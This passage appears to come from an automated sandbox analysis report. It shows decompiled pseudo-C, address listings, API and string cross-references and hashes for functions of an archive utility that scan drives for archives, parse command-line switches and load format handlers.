						 *(_t559 - 0xd) = 1;
						if(_t553 == 0) {
							L41:
							if(( *(_t557 + 0x148) |  *(_t557 + 0x14c)) == 0) {
								L45:
								if( *(_t559 - 0xd) == 0) {
									L47:
									if(_t553 == 0) {
										L63:
										 *(_t559 - 4) = 0x13;
										E01231ABD(E0124AE4E(_t559 - 0x39c),  *((intOrPtr*)(_t559 - 0x60)));
										 *(_t559 - 4) = 0x15;
										E01231ABD(E01261159(_t559 - 0x104),  *((intOrPtr*)(_t559 - 0x120)));
										 *(_t559 - 4) = 0xd;
										if(_t557 != 0) {
											 *((intOrPtr*)( *_t557 + 8))(_t557);
										}
										goto L75;
									}
									if(( *(_t557 + 0x138) |  *(_t557 + 0x13c)) != 0) {
										L61:
										E01231CAE(_t553);
										_t177 = _t557 + 0x158; // 0x158
										_t317 = _t177;
										__eflags =  *(_t557 + 0x158) |  *(_t317 + 4);
										if(( *(_t557 + 0x158) |  *(_t317 + 4)) != 0) {
											fputs("Sub items Errors: ",  *_t553);
											_t179 = _t557 + 0x158; // 0x158
											E01231CAE(E01231F47(_t553,  *_t179,  *((intOrPtr*)(_t179 + 4))));
										}
										goto L63;
									}
									_t146 = _t557 + 0x158; // 0x158
									if(( *(_t557 + 0x158) |  *(_t146 + 4)) != 0) {
										goto L61;
									}
									if( *((intOrPtr*)(_t559 - 0x20)) == 0) {
										_t323 =  *(_t559 - 0x94);
										if((_t323 |  *(_t559 - 0x90)) != 0) {
											fputs("Folders: ",  *_t553);
											E01231CAE(E01231F47(_t553,  *(_t559 - 0x94),  *(_t559 - 0x90)));
											_t323 =  *(_t559 - 0x94);
										}
										if( *(_t559 - 0x8c) != 1 ||  *(_t559 - 0x88) != 0 || (_t323 |  *(_t559 - 0x90)) != 0 || ( *(_t559 - 0x84) |  *(_t559 - 0x80)) != 0) {
											fputs("Files: ",  *_t553);
											E01231CAE(E01231F47(_t553,  *(_t559 - 0x8c),  *(_t559 - 0x88)));
											if(( *(_t559 - 0x84) |  *(_t559 - 0x80)) != 0) {
												fputs("Alternate Streams: ",  *_t553);
												E01231CAE(E01231F47(_t553,  *(_t559 - 0x84),  *(_t559 - 0x80)));
												fputs("Alternate Streams Size: ",  *_t553);
												E01231CAE(E01231F47(_t553,  *(_t559 - 0xa4),  *(_t559 - 0xa0)));
											}
										}
										fputs("Size:       ",  *_t553);
										 *(_t559 - 0x28) = E01231F47(_t553,  *(_t559 - 0xac),  *(_t559 - 0xa8));
										E01231CAE(_t330);
										fputs("Compressed: ",  *( *(_t559 - 0x28)));
										E01231CAE(E01231F47( *(_t559 - 0x28),  *(_t559 - 0x9c),  *(_t559 - 0x98)));
										if( *(_t559 - 0x14) != 0) {
											E01231CAE(_t553);
											E0125BF06(_t553, _t559 - 0x39c);
										}
									}
									goto L63;
								}
								L46:
								 *((intOrPtr*)(_t559 - 0x3c)) = 2;
								goto L47;
							}
							 *(_t559 - 0xd) = 1;
							if(_t553 == 0) {
								goto L46;
							}
							E01231CAE(_t553);
							if(( *(_t557 + 0x148) |  *(_t557 + 0x14c)) == 0) {
								goto L46;
							}
							fputs("Open Errors: ",  *_t553);
							E01231CAE(E01231F47(_t553,  *(_t557 + 0x148),  *(_t557 + 0x14c)));
							goto L45;
						}
						fputs("Archives with Errors: ",  *_t553);
						E01231CAE(E01231F47(_t553,  *(_t557 + 0x138),  *(_t557 + 0x13c)));
						goto L35;
					}
				}
			}

0x0125f2f7
0x0125f2f7
0x0125f2f7
0x0125f2fe
0x0125f302
0x0125f304
0x0125f309
0x0125f30f
0x0125f30f
0x0125f31a
0x0125f320
0x0125f326
0x0125f32c
0x0125f332
0x0125f338
0x0125f33e
0x0125f344
0x0125f34a
0x0125f350
0x0125f356
0x0125f35c
0x0125f35f
0x0125f367
0x0125f374
0x0125f37b
0x0125f37f
0x0125f383
0x0125f384
0x0125f38b
0x0125f38f
0x0125f394
0x0125f397
0x0125f39e
0x0125f3aa
0x0125f3b4
0x0125f3b4
0x0125f3bc
0x0125f3be
0x0125f3c5
0x0125f3d3
0x0125f3d4
0x0125f3d4
0x0125f3c5
0x0125f3df
0x0125f3e3
0x0125f3eb
0x0125fab8
0x0125fabb
0x0125fabf
0x0125fac7
0x0125facb
0x0125fad7
0x0125fae2
0x0125fae2
0x0125faf5
0x0125fafb
0x0125fb05
0x0125fb0a
0x0125fb0d
0x0125fb11
0x0125fb13
0x0125fb15
0x0125fb15
0x0125fb20
0x0125fb24
0x0125fb2f
0x0125fb33
0x0125fb38
0x0125fb42
0x0125fb47
0x0125fb4e
0x0125fb53
0x0125fb5c
0x0125fb64
0x0125fb64
0x0125f3f5
0x0125f9c8
0x0125f9cc
0x0125f9d3
0x0125f9da
0x0125f9e1
0x0125f9e2
0x0125f9e5
0x0125f9eb
0x0125f9ee
0x0125f9f1
0x0125f9f6
0x0125f9fc
0x0125f9fc
0x0125fa02
0x0125fa06
0x0125fa12
0x0125fa18
0x0125fa1c
0x0125fa23
0x0125fa29
0x0125fa2a
0x0125fa2f
0x0125fa36
0x0125fa3e
0x0125fa74
0x0125fa74
0x0125fa77
0x0125fa7e
0x0125fa7e
0x0125fa85
0x0125fa89
0x0125fa99
0x0125faac
0x0125faac
0x0125fab1
0x00000000
0x0125fab1
0x0125fa79
0x0125fa7c
0x00000000
0x00000000
0x00000000
0x0125fa40
0x0125fa40
0x0125fa43
0x0125fa4a
0x0125fa4c
0x0125fa5c
0x0125fa6f
0x00000000
0x0125fa6f
0x0125fa45
0x0125fa48
0x00000000
0x00000000
0x00000000
0x0125fa48
0x0125f3fb
0x0125f3fb
0x0125f400
0x0125f406
0x0125f409
0x0125f40b
0x0125f40f
0x0125f41c
0x0125f41c
0x0125f411
0x0125f418
0x0125f418
0x0125f420
0x0125f424
0x0125f427
0x0125f42c
0x0125f42c
0x0125f435
0x0125f43b
0x0125f448
0x0125f44c
0x0125f471
0x0125f47d
0x0125f486
0x0125f48c
0x0125f491
0x0125f491
0x0125f492
0x0125f492
0x0125f49e
0x0125f4b0
0x0125f4b4
0x0125f4c6
0x0125f4cc
0x0125f4d2
0x0125f4d8
0x0125f4e1
0x0125f4ed
0x0125f4f4
0x0125f4fc
0x0125f507
0x0125f50b
0x0125f516
0x0125f51a
0x0125f51d
0x0125f52b
0x0125f534
0x0125f53b
0x0125f543
0x0125f543
0x0125f554
0x0125f55a
0x0125f55b
0x0125f562
0x0125f565
0x0125f566
0x0125f573
0x0125f574
0x0125f575
0x0125f57c
0x0125f586
0x0125f58d
0x0125f58e
0x0125f599
0x0125f59c
0x0125f5a0
0x0125f5a3
0x0125f5a3
0x0125f5ab
0x0125f5ad
0x0125f5b4
0x0125f5b8
0x0125f5bb
0x0125f5ca
0x0125f5d1
0x0125f5d9
0x0125f5e3
0x0125f5e3
0x0125f5eb
0x0125f5ed
0x0125f5ed
0x0125f5eb
0x0125f5f4
0x0125f5fa
0x0125f600
0x0125f604
0x0125f610
0x0125f622
0x0125f625
0x0125f63a
0x0125f646
0x0125f65f
0x0125f65f
0x0125f610
0x0125f670
0x0125f674
0x0125f678
0x0125f681
0x0125f69a
0x0125f69a
0x0125f678
0x0125f6ab
0x0125f6de
0x0125f6e0
0x0125f6e8
0x0125f6f1
0x0125f6fa
0x0125f6fd
0x0125f712
0x0125f712
0x0125f723
0x0125f727
0x0125f738
0x0125f741
0x0125f75a
0x0125f75a
0x0125f738
0x0125f723
0x00000000
0x0125f6ad
0x0125f6af
0x0125f6b3
0x0125f75f
0x0125f76b
0x0125f7af
0x0125f7b3
0x0125f7bc
0x0125f7be
0x0125f975
0x0125f97b
0x0125f987
0x0125f993
0x0125f9a2
0x0125f9aa
0x0125f9ae
0x0125f9b7
0x0125f9b7
0x00000000
0x0125f9ae
0x0125f7d0
0x0125f939
0x0125f93b
0x0125f946
0x0125f946
0x0125f94c
0x0125f94f
0x0125f958
0x0125f95b
0x0125f970
0x0125f970
0x00000000
0x0125f94f
0x0125f7dc
0x0125f7e5
0x00000000
0x00000000
0x0125f7ef
0x0125f7f5
0x0125f803
0x0125f80c
0x0125f825
0x0125f82a
0x0125f82a
0x0125f837
0x0125f85c
0x0125f875
0x0125f883
0x0125f88c
0x0125f8a2
0x0125f8ae
0x0125f8c7
0x0125f8c7
0x0125f883
0x0125f8d3
0x0125f8ec
0x0125f8ef
0x0125f8fe
0x0125f918
0x0125f921
0x0125f925
0x0125f932
0x0125f932
0x0125f921
0x00000000
0x0125f7ef
0x0125f7b5
0x0125f7b5
0x00000000
0x0125f7b5
0x0125f76f
0x0125f773
0x00000000
0x00000000
0x0125f777
0x0125f788
0x00000000
0x00000000
0x0125f791
0x0125f7aa
0x00000000
0x0125f7aa
0x0125f6c0
0x0125f6d9
0x00000000
0x0125f6d9
0x0125f6ab

Strings

Size: , xrefs: 0125F8CE
Can't open as archive: , xrefs: 0125F67C
OK archives: , xrefs: 0125F641
Archives: , xrefs: 0125F61D
F#v, xrefs: 0125F61B, 0125F63F, 0125F67A, 0125F6B9, 0125F6F3, 0125F73A, 0125F78A, 0125F805, 0125F855, 0125F885, 0125F8A7, 0125F8CC
Warnings: , xrefs: 0125F73C
Folders: , xrefs: 0125F807
Open Errors: , xrefs: 0125F78C
Files: , xrefs: 0125F857
Alternate Streams: , xrefs: 0125F887
ERROR:, xrefs: 0125F5C5
Compressed: , xrefs: 0125F8F9
Alternate Streams Size: , xrefs: 0125F8A9
Archives with Errors: , xrefs: 0125F6BB
Archives with Warnings: , xrefs: 0125F6F5
Scanning the drive for archives:, xrefs: 0125F304

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputc
String ID: F#v$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 1992160199-3512054513
Opcode ID: 1e5668f9cfb8ae68a02811bdce82068e3ef25617dafe70983fc0c70d87071561
Instruction ID: 8458c19f07e16849f62482e6767cf863b6434a6431ee9c5b3f14a38e92ca49c9
Opcode Fuzzy Hash: 1e5668f9cfb8ae68a02811bdce82068e3ef25617dafe70983fc0c70d87071561
Instruction Fuzzy Hash: 3D22AF71E2025ADFDF26EBA4C984BEDFBB5BF94300F10449AD549A3290DB706A94CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0123B637 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0123B637(signed int* __ecx, void* __edx, void* __eflags) {
				void* _t87;
				signed int _t88;
				signed int _t92;
				signed int _t96;
				signed int _t98;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t116;
				signed int _t117;
				signed int _t118;
				wchar_t*** _t120;
				void* _t128;
				long _t130;
				char _t135;
				intOrPtr* _t137;
				signed int* _t176;
				char* _t179;
				wchar_t** _t181;
				void* _t182;

				E012639E0(E012649CC, _t182);
				_t176 = __ecx;
				_push( *((intOrPtr*)(_t182 + 8)));
				_push(0x35);
				_push(0x12740a0);
				_t87 = E012313E5(__ecx, __eflags);
				_t189 = _t87;
				if(_t87 == 0) {
					_push( *((intOrPtr*)(__ecx + 0x20)));
					_push( *((intOrPtr*)(__ecx + 0x14)));
					E01248A22(_t182 - 0x24, _t189);
					_push(0x126ded0);
					_push(_t182 - 0x24);
					L01263CAC();
				}
				_t88 = _fileno(__imp___iob);
				__imp___isatty(_t88);
				_t179 =  *((intOrPtr*)(_t182 + 0xc));
				 *((char*)(_t179 + 3)) = _t88 & 0xffffff00 | _t88 != 0x00000000;
				_t92 = _fileno(__imp___iob + 0x20);
				__imp___isatty(_t92);
				 *((char*)(_t179 + 4)) = _t92 & 0xffffff00 | _t92 != 0x00000000;
				_t96 = _fileno(__imp___iob + 0x40);
				__imp___isatty(_t96);
				 *((char*)(_t179 + 5)) = _t96 & 0xffffff00 | _t96 != 0x00000000;
				_t98 =  *_t176;
				if( *_t98 != 0 ||  *((intOrPtr*)(_t98 + 0x14)) != 0 ||  *((intOrPtr*)(_t98 + 0x28)) != 0) {
					_push(1);
					_pop(0);
				}
				 *_t179 = 0;
				 *((char*)(_t179 + 6)) =  *((intOrPtr*)( *_t176 + 0x258));
				 *((char*)(_t179 + 7)) =  *((intOrPtr*)( *_t176 + 0x26c));
				 *((char*)(_t179 + 8)) =  *_t176 & 0xffffff00 |  *((intOrPtr*)( *_t176 + 0x3c)) == 0x00000000;
				 *((char*)(_t179 + 0x44)) =  *((intOrPtr*)( *_t176 + 0x2bc));
				 *((char*)(_t179 + 0x45)) =  *((intOrPtr*)( *_t176 + 0x64));
				if( *((intOrPtr*)( *_t176 + 0x50)) != 0 ||  *((intOrPtr*)(_t179 + 7)) != 0 ||  *((intOrPtr*)(_t179 + 4)) == 0) {
					 *((intOrPtr*)(_t179 + 0x204)) = 0;
				}
				if( *((intOrPtr*)(_t179 + 7)) != 0) {
					 *((intOrPtr*)(_t179 + 0x1fc)) = 0;
				}
				_t112 =  *_t176 + 0x8c;
				if( *_t112 != 0) {
					 *((intOrPtr*)(_t179 + 0x1fc)) =  *((intOrPtr*)(_t112 + 4));
				}
				_t114 =  *_t176 + 0xa0;
				if( *_t114 != 0) {
					 *((intOrPtr*)(_t179 + 0x200)) =  *((intOrPtr*)(_t114 + 4));
				}
				_t116 =  *_t176 + 0xb4;
				if( *_t116 != 0) {
					 *((intOrPtr*)(_t179 + 0x204)) =  *((intOrPtr*)(_t116 + 4));
				}
				_t117 =  *_t176;
				if( *((intOrPtr*)(_t117 + 0x78)) != 0) {
					_t137 =  *((intOrPtr*)( *((intOrPtr*)(_t117 + 0x80))));
					 *((intOrPtr*)(_t182 + 8)) = _t137;
					if( *((intOrPtr*)(_t137 + 4)) != 0) {
						__eflags = E0123B942( *_t137, _t182 + 0xc);
						if(__eflags == 0) {
							_push( *((intOrPtr*)( *((intOrPtr*)(_t182 + 8)))));
							_push("Unsupported switch postfix -bb");
							E01248A22(_t182 - 0x24, __eflags);
							_push(0x126ded0);
							_push(_t182 - 0x24);
							L01263CAC();
						}
						 *((intOrPtr*)(_t179 + 0x208)) =  *((intOrPtr*)(_t182 + 0xc));
					} else {
						 *((intOrPtr*)(_t179 + 0x208)) = 1;
					}
				}
				_t118 =  *_t176;
				if( *((intOrPtr*)(_t118 + 0x2f8)) != 0) {
					 *0x1274448 = _t118 & 0xffffff00 |  *((intOrPtr*)(_t118 + 0x2f9)) == 0x00000000;
					 *((char*)(_t179 + 1)) = 1;
					_t135 =  *0x1274448; // 0x0
					 *((char*)(_t179 + 2)) = _t135;
				}
				E0123B92A(); // executed
				_t120 =  *_t176;
				if(_t120[0xa0] == 0) {
					L32:
					_t176 =  *_t176;
					if(_t176[0x82] == 0) {
						goto L43;
					}
					_t120 = _t176[0x84];
					_t181 =  *_t120;
					if(_t181[1] == 0) {
						goto L43;
					}
					E0123232F(_t182 - 0x18);
					 *((intOrPtr*)(_t182 - 4)) = 0;
					E0123245E(_t182 - 0x18,  *_t181);
					if( *((intOrPtr*)(_t182 - 0x14)) == 0) {
						L38:
						_push( *_t181);
						_push("Unsupported switch postfix -stm");
						E01248A22(_t182 - 0x30, _t216);
						_push(0x126ded0);
						_push(_t182 - 0x30);
						L01263CAC();
						goto L39;
					}
					_t130 = E0123336B( *((intOrPtr*)(_t182 - 0x18)), _t182 + 8);
					if( *((intOrPtr*)( *((intOrPtr*)(_t182 + 8)))) != 0) {
						 *((intOrPtr*)(_t182 - 0x14)) = 0;
						 *((char*)( *((intOrPtr*)(_t182 - 0x18)))) = 0;
					}
					_t216 =  *((intOrPtr*)(_t182 - 0x14));
					if( *((intOrPtr*)(_t182 - 0x14)) != 0) {
						goto L42;
					} else {
						goto L38;
					}
				} else {
					 *((intOrPtr*)(_t182 + 8)) = 0;
					_t181 =  *(_t120[0xa2]);
					if(_t181[1] != 0) {
						L39:
						if(wcscmp( *_t181, "-") == 0) {
							L30:
							_t120 = E01237F3B();
							if( *((intOrPtr*)(_t182 + 8)) > _t120) {
								E012633D0();
								_t120 = E01237EB5(L"SeLockMemoryPrivilege", 1);
								 *0x12745a0 = _t120;
							}
							goto L32;
						}
						_t128 = E0123B942( *_t181, _t182 + 8);
						_t218 = _t128;
						if(_t128 != 0) {
							goto L30;
						}
						_push( *_t181);
						_push("Unsupported switch postfix for -slp");
						E01248A22(_t182 - 0x24, _t218);
						_t130 = _t182 - 0x24;
						_push(0x126ded0);
						_push(_t130);
						L01263CAC();
						L42:
						_t120 = E01231ABD(SetProcessAffinityMask(GetCurrentProcess(), _t130),  *((intOrPtr*)(_t182 - 0x18)));
						L43:
						 *[fs:0x0] =  *((intOrPtr*)(_t182 - 0xc));
						return _t120;
					}
					 *((intOrPtr*)(_t182 + 8)) = 1;
					goto L30;
				}
			}

0x0123b63c
0x0123b647
0x0123b649
0x0123b64c
0x0123b64e
0x0123b653
0x0123b658
0x0123b65a
0x0123b65c
0x0123b662
0x0123b665
0x0123b66d
0x0123b672
0x0123b673
0x0123b673
0x0123b684
0x0123b687
0x0123b68d
0x0123b695
0x0123b6a1
0x0123b6a4
0x0123b6af
0x0123b6bb
0x0123b6be
0x0123b6cc
0x0123b6cf
0x0123b6d5
0x0123b6e5
0x0123b6e7
0x0123b6e7
0x0123b6e8
0x0123b6f2
0x0123b6fd
0x0123b708
0x0123b713
0x0123b71b
0x0123b723
0x0123b72f
0x0123b72f
0x0123b738
0x0123b73a
0x0123b73a
0x0123b742
0x0123b749
0x0123b74e
0x0123b74e
0x0123b756
0x0123b75d
0x0123b762
0x0123b762
0x0123b76a
0x0123b771
0x0123b776
0x0123b776
0x0123b77c
0x0123b781
0x0123b789
0x0123b78b
0x0123b791
0x0123b7ab
0x0123b7ad
0x0123b7b5
0x0123b7b7
0x0123b7bc
0x0123b7c4
0x0123b7c9
0x0123b7ca
0x0123b7ca
0x0123b7d2
0x0123b793
0x0123b793
0x0123b793
0x0123b791
0x0123b7d8
0x0123b7e0
0x0123b7eb
0x0123b7f0
0x0123b7f4
0x0123b7f9
0x0123b7f9
0x0123b7fc
0x0123b801
0x0123b809
0x0123b846
0x0123b846
0x0123b84e
0x00000000
0x00000000
0x0123b854
0x0123b85a
0x0123b85f
0x00000000
0x00000000
0x0123b868
0x0123b872
0x0123b875
0x0123b87d
0x0123b89e
0x0123b89e
0x0123b8a3
0x0123b8a8
0x0123b8b0
0x0123b8b5
0x0123b8b6
0x00000000
0x0123b8b6
0x0123b885
0x0123b88f
0x0123b894
0x0123b897
0x0123b897
0x0123b899
0x0123b89c
0x00000000
0x00000000
0x00000000
0x00000000
0x0123b80b
0x0123b80b
0x0123b814
0x0123b819
0x0123b8bb
0x0123b8cd
0x0123b826
0x0123b826
0x0123b82e
0x0123b830
0x0123b83c
0x0123b841
0x0123b841
0x00000000
0x0123b82e
0x0123b8d8
0x0123b8dd
0x0123b8df
0x00000000
0x00000000
0x0123b8e5
0x0123b8ea
0x0123b8ef
0x0123b8f4
0x0123b8f7
0x0123b8fc
0x0123b8fd
0x0123b902
0x0123b913
0x0123b919
0x0123b91f
0x0123b927
0x0123b927
0x0123b81f
0x00000000
0x0123b81f

APIs

__EH_prolog.LIBCMT ref: 0123B63C

Part of subcall function 012313E5: __EH_prolog.LIBCMT ref: 012313EA

_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123B673
_fileno.MSVCRT ref: 0123B684
_isatty.MSVCRT ref: 0123B687
_fileno.MSVCRT ref: 0123B6A1
_isatty.MSVCRT ref: 0123B6A4
_fileno.MSVCRT ref: 0123B6BB
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123B7CA
_isatty.MSVCRT ref: 0123B6BE

Part of subcall function 01248A22: __EH_prolog.LIBCMT ref: 01248A27

_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123B8B6
wcscmp.MSVCRT ref: 0123B8C3
_CxxThrowException.MSVCRT(?,0126DED0), ref: 0123B8FD
GetCurrentProcess.KERNEL32(00000000,?), ref: 0123B903
SetProcessAffinityMask.KERNEL32(00000000), ref: 0123B90A

Strings

SeLockMemoryPrivilege, xrefs: 0123B837
Unsupported switch postfix -stm, xrefs: 0123B8A3
Unsupported switch postfix -bb, xrefs: 0123B7B7
Unsupported switch postfix for -slp, xrefs: 0123B8EA

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionThrow$H_prolog_fileno_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeLockMemoryPrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 3459974080-121798590
Opcode ID: b46afd3061cd857ef6a9ca8da4638d20b578282c27ef55c49a423fc6dcff14a3
Instruction ID: 181dd1c6a377b62ba8bf3b93be8d4a38b18ee29abd56844999c8029a85fc19b4
Opcode Fuzzy Hash: b46afd3061cd857ef6a9ca8da4638d20b578282c27ef55c49a423fc6dcff14a3
Instruction Fuzzy Hash: 779103B1921386DFDB21DFB8C484AA9BFB4FF55200F1884ADE6959B352D730E944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0124B4D3 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 271
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E0124B4D3(intOrPtr __ecx) {
				void* __ebx;
				_Unknown_base(*)()* _t117;
				signed int _t118;
				signed int _t124;
				signed int _t127;
				signed int _t137;
				char _t148;
				signed int _t150;
				void* _t158;
				_Unknown_base(*)()* _t171;
				signed int _t173;
				struct HINSTANCE__** _t224;
				signed int _t226;
				signed int _t227;
				void* _t230;
				void* _t232;
				void* _t233;

				E012639E0(E01265DCF, _t230);
				_t233 = _t232 - 0xa4;
				 *((intOrPtr*)(_t230 - 0x30)) = __ecx;
				_t224 =  *( *((intOrPtr*)(__ecx + 0xc)) +  *(__ecx + 0x10) * 4 - 4);
				_t173 = 0;
				 *(_t230 - 0x18) = 0;
				 *((intOrPtr*)(_t230 - 0x1c)) = GetProcAddress( *_t224, "GetHandlerProperty2");
				 *((intOrPtr*)(_t230 - 0x44)) = GetProcAddress( *_t224, "GetIsArc");
				 *(_t230 - 0x28) = 1;
				if( *((intOrPtr*)(_t230 - 0x1c)) == 0) {
					_t117 = GetProcAddress( *_t224, "GetHandlerProperty");
					__eflags = _t117;
					 *(_t230 - 0x18) = _t117;
					if(_t117 == 0) {
						goto L29;
					} else {
						goto L5;
					}
				} else {
					_t171 = GetProcAddress( *_t224, "GetNumberOfFormats");
					if(_t171 == 0) {
						L5:
						_t226 = 0;
						__eflags =  *(_t230 - 0x28);
						if(__eflags <= 0) {
							L29:
							_t118 = 0;
							__eflags = 0;
						} else {
							while(1) {
								E0124B825(_t230 - 0xb0, __eflags);
								 *(_t230 - 4) = _t226;
								 *((intOrPtr*)(_t230 - 0x70)) = _t173;
								 *((intOrPtr*)(_t230 - 0x74)) =  *((intOrPtr*)( *((intOrPtr*)(_t230 - 0x30)) + 0x10)) - 1;
								_push(_t230 - 0xa4);
								_push(_t226);
								_push(_t173);
								_t124 = E0124B9C2( *(_t230 - 0x18),  *((intOrPtr*)(_t230 - 0x1c)));
								__eflags = _t124 - _t226;
								if(_t124 != _t226) {
									break;
								}
								 *(_t230 - 0x40) = _t226;
								 *(_t230 - 0x3e) = _t226;
								 *(_t230 - 0x38) = _t226;
								 *(_t230 - 4) = 1;
								_t127 = E0124B8BE( *(_t230 - 0x18),  *((intOrPtr*)(_t230 - 0x1c)), _t173, 1, _t230 - 0x40);
								__eflags = _t127;
								if(_t127 != 0) {
									L9:
									E01238173(_t230 - 0x40);
									 *(_t230 - 4) =  *(_t230 - 4) | 0xffffffff;
									E0124BAEB(_t173, _t230 - 0xb0);
									goto L28;
								} else {
									__eflags =  *(_t230 - 0x40) - 8;
									if( *(_t230 - 0x40) == 8) {
										__imp__#149( *(_t230 - 0x38));
										__eflags = _t127 - 0x10;
										if(_t127 != 0x10) {
											E01238173(_t230 - 0x40);
											 *(_t230 - 4) =  *(_t230 - 4) | 0xffffffff;
											E0124BAEB(_t173, _t230 - 0xb0);
											_t118 = 0x80004005;
										} else {
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											E01238173(_t230 - 0x40);
											 *(_t230 - 4) =  *(_t230 - 4) & 0x00000000;
											E01238173(_t230 - 0x40);
											E012328E9(_t230 - 0x5c);
											 *(_t230 - 4) = 2;
											E012328E9(_t230 - 0x50);
											_t222 =  *((intOrPtr*)(_t230 - 0x1c));
											_t229 =  *(_t230 - 0x18);
											_push(_t230 - 0x5c);
											_push(2);
											_push(_t173);
											 *(_t230 - 4) = 3;
											_t137 = E0124B9C2( *(_t230 - 0x18),  *((intOrPtr*)(_t230 - 0x1c)));
											__eflags = _t137;
											if(_t137 != 0) {
												L33:
												_t227 = _t137;
												goto L35;
											} else {
												_push(_t230 - 0x50);
												_push(3);
												_push(_t173);
												_t137 = E0124B9C2(_t229, _t222);
												__eflags = _t137;
												if(__eflags != 0) {
													goto L33;
												} else {
													_push(_t230 - 0x50);
													_push(_t230 - 0x5c); // executed
													E0124B152(_t230 - 0xb0, __eflags); // executed
													_push(_t230 - 0x88);
													_push(4);
													_push(_t173);
													E0124B8D8(_t229, _t222);
													 *(_t230 - 0xd) =  *(_t230 - 0xd) & 0x00000000;
													_push(_t230 - 0xd);
													_push(_t230 - 0xb0);
													_push(0xb);
													_push(_t173);
													_t137 = E0124B94A(_t229, _t222);
													__eflags = _t137;
													if(_t137 != 0) {
														goto L33;
													} else {
														_t148 =  *(_t230 - 0xd);
														__eflags = _t148;
														 *((char*)(_t230 - 0x87)) = _t148;
														if(_t148 == 0) {
															 *(_t230 - 0x14) = 0x12698a0;
															do {
																 *(_t230 - 0xe) =  *(_t230 - 0xe) & 0x00000000;
																_push(_t230 - 0xe);
																_t66 =  *(_t230 - 0x14) - 4; // 0x5
																_push( *_t66);
																_push(_t173);
																E0124B8D8(_t229, _t222);
																__eflags =  *(_t230 - 0xe);
																if( *(_t230 - 0xe) != 0) {
																	_t69 = _t230 - 0xb0;
																	 *_t69 =  *(_t230 - 0xb0) |  *( *(_t230 - 0x14));
																	__eflags =  *_t69;
																}
																 *(_t230 - 0x14) =  &(( *(_t230 - 0x14))[2]);
																__eflags =  *(_t230 - 0x14) - L"th32";
															} while ( *(_t230 - 0x14) < L"th32");
														}
														 *(_t230 - 0x24) =  *(_t230 - 0x24) & 0x00000000;
														 *(_t230 - 0x20) =  *(_t230 - 0x20) & 0x00000000;
														_push(_t230 - 0x24);
														_push(6);
														_push(_t173);
														 *(_t230 - 4) = 4;
														_t150 = E0124BA3B(_t229, _t222);
														__eflags = _t150;
														if(_t150 != 0) {
															L34:
															_t227 = _t150;
															_t137 = E01231ABD(_t150,  *(_t230 - 0x24));
															L35:
															E01231ABD(E01231ABD(_t137,  *((intOrPtr*)(_t230 - 0x50))),  *((intOrPtr*)(_t230 - 0x5c)));
															L36:
															 *(_t230 - 4) =  *(_t230 - 4) | 0xffffffff;
															E0124BAEB(_t173, _t230 - 0xb0);
															_t118 = _t227;
														} else {
															__eflags =  *(_t230 - 0x20) - _t150;
															_push(_t230 - 0x24);
															if( *(_t230 - 0x20) == _t150) {
																_push(7);
																_push(_t173);
																_t150 = E0124BA3B(_t229, _t222);
																__eflags = _t150;
																if(__eflags != 0) {
																	goto L34;
																} else {
																	E0124B862( *(_t230 - 0x24),  *(_t230 - 0x20), __eflags, _t230 - 0x80);
																	goto L24;
																}
															} else {
																E0124C8B9(_t230 - 0x80);
																L24:
																_push(_t230 - 0x29);
																_push(_t230 - 0x84);
																_push(8);
																_push(_t173);
																_t150 = E0124B94A(_t229, _t222);
																__eflags = _t150;
																if(_t150 != 0) {
																	goto L34;
																} else {
																	__eflags =  *((intOrPtr*)(_t230 - 0x44)) - _t150;
																	if( *((intOrPtr*)(_t230 - 0x44)) != _t150) {
																		 *((intOrPtr*)(_t230 - 0x44))(_t173, _t230 - 0xa8);
																	}
																	_push(_t230 - 0xb0);
																	_t158 = E0124CA16( *((intOrPtr*)(_t230 - 0x30)) + 0x28); // executed
																	E01231ABD(E01231ABD(E01231ABD(_t158,  *(_t230 - 0x24)),  *((intOrPtr*)(_t230 - 0x50))),  *((intOrPtr*)(_t230 - 0x5c)));
																	 *(_t230 - 4) =  *(_t230 - 4) | 0xffffffff;
																	_t233 = _t233 + 0xc;
																	E0124BAEB(_t173, _t230 - 0xb0);
																	_t226 = 0;
																	__eflags = 0;
																	L28:
																	_t173 = _t173 + 1;
																	__eflags = _t173 -  *(_t230 - 0x28);
																	if(__eflags < 0) {
																		continue;
																	} else {
																		goto L29;
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										goto L9;
									}
								}
								goto L30;
							}
							_t227 = _t124;
							goto L36;
						}
					} else {
